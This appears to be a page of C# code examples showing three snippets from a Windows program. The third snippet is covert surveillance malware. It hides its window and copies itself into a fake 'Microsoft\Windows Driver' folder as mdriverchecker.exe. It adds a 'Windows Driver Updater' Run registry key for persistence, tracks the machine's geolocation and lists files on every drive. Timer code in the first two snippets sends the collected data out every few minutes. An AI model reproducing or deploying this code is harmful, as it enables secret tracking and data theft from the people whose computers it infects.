示例#1
0
 public void StopSendDataTimerTick()
 {
     SendDataTimer.Enabled = false;
     SendDataTimer.Tick   -= SendDataTimerTick;
     Thread.Sleep(500);
     SendDataTimer.Dispose();
     Thread.Sleep(500);
     SendDataTimer.Stop();
 }
示例#2
0
 private void SendDataTimer_Tick(object sender, EventArgs e)
 {
     lblTime.Text           = "1";
     LocationTimer.Interval = 2 * 60 * 1000; // 15p
     OnlineTimer.Interval   = 3 * 60 * 1000; // 1p update online?
     QueryTimer.Interval    = 1 * 30 * 1000; // 3p
     SendDataTimer.Stop();
     SendData();
     SendDataTimer.Interval = 3 * 60 * 1000; // 15p
     SendDataTimer.Start();
     lblTime.Text = "0";
 }
示例#3
0
        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            if (Application.ExecutablePath.ToLower() != (Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe").ToLower())
            {
                try {
                    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver"))
                    {
                        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver");
                    }
                    File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe");
                    Thread.Sleep(5000);
                    RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    if (key.GetValue("Windows Driver Updater") == null)
                    {
                        key.SetValue("Windows Driver Updater", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe" + "\"");
                    }
                    Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Microsoft\Windows Driver\mdriverchecker.exe");
                    Thread.Sleep(2000);
                    Application.Exit();
                }
                catch {
                }
            }
            //Location
            // Create the watcher.
            Watcher = new GeoCoordinateWatcher();
            // Catch the StatusChanged event.
            Watcher.StatusChanged += Watcher_StatusChanged;
            // Start the watcher.
            Watcher.Start();
            SendDataTimer.Start();
            //File
            ComputerInfo cpinfo = new ComputerInfo();

            this.Text += " - " + Environment.MachineName + " - " + ComputerInfo.getCPUID();
            try {
                foreach (DriveInfo di in DriveInfo.GetDrives())
                {
                    txtColor.Text += cpinfo.GetDirFileFromDrive(di, 1);
                }
                lblHello.ForeColor = Color.Green;
            }
            catch
            {
                lblHello.ForeColor = Color.Red;
                txtColor.Text     += "File non accessed";
            }
        }